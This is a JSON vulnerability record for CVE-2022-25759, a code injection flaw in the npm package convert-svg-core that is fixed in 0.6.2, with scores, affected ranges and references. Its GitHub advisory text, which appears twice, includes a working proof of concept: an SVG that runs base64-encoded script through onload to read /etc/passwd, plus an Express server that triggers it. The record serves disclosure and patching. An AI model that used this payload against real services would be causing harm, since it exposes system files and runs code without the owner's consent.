{"id":"CVE-2022-25759","aliases":["EUVD-2022-6244","GHSA-5gxc-fxcr-9326"],"status":"published","title":"Remote Code Injection","description":"The package convert-svg-core before 0.6.2 are vulnerable to Remote Code Injection via sending an SVG file containing the payload.","severity":{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:P","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.11548,"percentile":0.96063,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-94"],"published":"2022-07-22T20:00:19Z","modified":"2026-10-28T02:30:57Z","fixes":[{"ecosystem":"npm","package":"convert-svg-core","fixed_in":["0.6.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"convert-svg-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.6.2"}]}]},{"source":"osv","ecosystem":"npm","package":"convert-svg-core","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.6.2"}]}]}],"products":[{"vendor":"convert-svg-core_project","product":"convert-svg-core"}],"references":[{"url":"https://security.snyk.io/vuln/SNYK-JS-CONVERTSVGCORE-2849633","tags":["x_refsource_MISC","x_transferred","Exploit","Patch","Third Party Advisory","web"]},{"url":"https://github.com/neocotic/convert-svg/pull/82","tags":["x_refsource_MISC","x_transferred","Patch","Third Party Advisory","fix","web"]},{"url":"https://github.com/neocotic/convert-svg/issues/81","tags":["x_refsource_MISC","x_transferred","Exploit","Issue Tracking","Third Party Advisory","report","web"]},{"url":"https://github.com/neocotic/convert-svg/commit/7e6031ac7427cf82cf312cb4a25040f2e6efe7a5","tags":["x_refsource_MISC","x_transferred","Patch","Third Party Advisory","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-25759","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-5gxc-fxcr-9326"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2022/25xxx/CVE-2022-25759.json","tags":["advisory"]},{"url":"https://github.com/neocotic/convert-svg","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2022-25759","title":"Remote Code Injection","description":"The package convert-svg-core before 0.6.2 are vulnerable to Remote Code Injection via sending an SVG file containing the payload.","status":"published","published":"2022-07-22T20:00:19.307Z","modified":"2024-09-16T20:06:21.031Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:P","level":"critical","assessor":"cna"}],"updated_at":"2026-11-02T14:34:28.374916Z"}],"euvd":[{"id":"EUVD-2022-6244","description":"The package convert-svg-core before 0.6.2 are vulnerable to Remote Code Injection via sending an SVG file containing the payload.","status":"published","published":"2022-07-22T20:00:19Z","modified":"2024-09-16T20:06:21Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:P","level":"critical"}],"updated_at":"2026-11-03T00:55:17.319093Z"}],"ghsa":[{"id":"GHSA-5gxc-fxcr-9326","title":"convert-svg-core vulnerable to remote code injection","description":"The package convert-svg-core before 0.6.2 is vulnerable to Remote Code Injection via sending an SVG file containing the payload in an `onload` attribute. Puppeteer/Chromium (used by convert-svg-core) will execute any code within that tag, including malicious code.\n\n### PoC\n\n**Payload**\n\n```html\n\u003csvg onload=eval(atob(this.id)) id='ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs='\u003e\u003c/svg\u003e\n```\nwhere the `id` attribute is the base 64-encoded form of \n\n```js\ndocument.write('\u003csvg-dummy\u003e\u003c/svg-dummy\u003e\u003ciframe src=\"file:///etc/passwd\" width=\"100%\" height=\"1000px\"\u003e\u003c/iframe\u003e\u003csvg viewBox=\"0 0 240 80\" height=\"1000\" width=\"1000\" xmlns=\"http://www.w3.org/2000/svg\"\u003e\u003ctext x=\"0\" y=\"0\" class=\"Rrrrr\" id=\"demo\"\u003edata\u003c/text\u003e\u003c/svg\u003e');\n```\n\n\n**Attack**\n\n```js\nconst { convert } = require('convert-svg-to-png');\nconst express = require('express');\nconst fileSvg = `[[[payload]]]`;\n// YWxlcnQoMSk=\n// function newContent(){document.open(),document.write('\u003ctext x=\\\"0\\\" y=\\\"0\\\" class=\\\"Rrrrr\\\" id=\\\"demo\\\"\u003edata\u003c/text\u003e'),document.close()}\nconst app = express();\napp.get('/poc', async (req, res)=\u003e{\n  try {\n    const png = await convert(fileSvg);\n    res.set('Content-Type', 'image/png');\n    res.send(png);\n  } catch (e) {\n      console.log(e);\n    res.send(\"\");\n  }\n});\napp.listen(3000, ()=\u003e{\n  console.log('started');\n});\n```","status":"published","published":"2022-07-23T00:00:16Z","modified":"2024-04-22T23:21:56Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:37:44.335614Z"}],"nvd":[{"id":"CVE-2022-25759","description":"The package convert-svg-core before 0.6.2 are vulnerable to Remote Code Injection via sending an SVG file containing the payload.","status":"published","published":"2022-07-22T20:15:09.187Z","modified":"2026-06-17T04:34:13.78Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:07:24.037422Z"}],"osv":[{"id":"CVE-2022-25759","title":"Remote Code Injection","description":"The package convert-svg-core before 0.6.2 are vulnerable to Remote Code Injection via sending an SVG file containing the payload.","status":"published","published":"2022-07-22T20:00:19.307Z","modified":"2026-10-28T02:30:57.954592875Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:P","level":"critical"}],"updated_at":"2026-11-02T15:44:24.758293Z"},{"id":"GHSA-5gxc-fxcr-9326","title":"convert-svg-core vulnerable to remote code injection","description":"The package convert-svg-core before 0.6.2 is vulnerable to Remote Code Injection via sending an SVG file containing the payload in an `onload` attribute. Puppeteer/Chromium (used by convert-svg-core) will execute any code within that tag, including malicious code.\n\n### PoC\n\n**Payload**\n\n```html\n\u003csvg onload=eval(atob(this.id)) id='ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs='\u003e\u003c/svg\u003e\n```\nwhere the `id` attribute is the base 64-encoded form of \n\n```js\ndocument.write('\u003csvg-dummy\u003e\u003c/svg-dummy\u003e\u003ciframe src=\"file:///etc/passwd\" width=\"100%\" height=\"1000px\"\u003e\u003c/iframe\u003e\u003csvg viewBox=\"0 0 240 80\" height=\"1000\" width=\"1000\" xmlns=\"http://www.w3.org/2000/svg\"\u003e\u003ctext x=\"0\" y=\"0\" class=\"Rrrrr\" id=\"demo\"\u003edata\u003c/text\u003e\u003c/svg\u003e');\n```\n\n\n**Attack**\n\n```js\nconst { convert } = require('convert-svg-to-png');\nconst express = require('express');\nconst fileSvg = `[[[payload]]]`;\n// YWxlcnQoMSk=\n// function newContent(){document.open(),document.write('\u003ctext x=\\\"0\\\" y=\\\"0\\\" class=\\\"Rrrrr\\\" id=\\\"demo\\\"\u003edata\u003c/text\u003e'),document.close()}\nconst app = express();\napp.get('/poc', async (req, res)=\u003e{\n  try {\n    const png = await convert(fileSvg);\n    res.set('Content-Type', 'image/png');\n    res.send(png);\n  } catch (e) {\n      console.log(e);\n    res.send(\"\");\n  }\n});\napp.listen(3000, ()=\u003e{\n  console.log('started');\n});\n```","status":"published","published":"2022-07-23T00:00:16Z","modified":"2024-04-22T23:44:03.044105Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:38.553953Z"}]}}
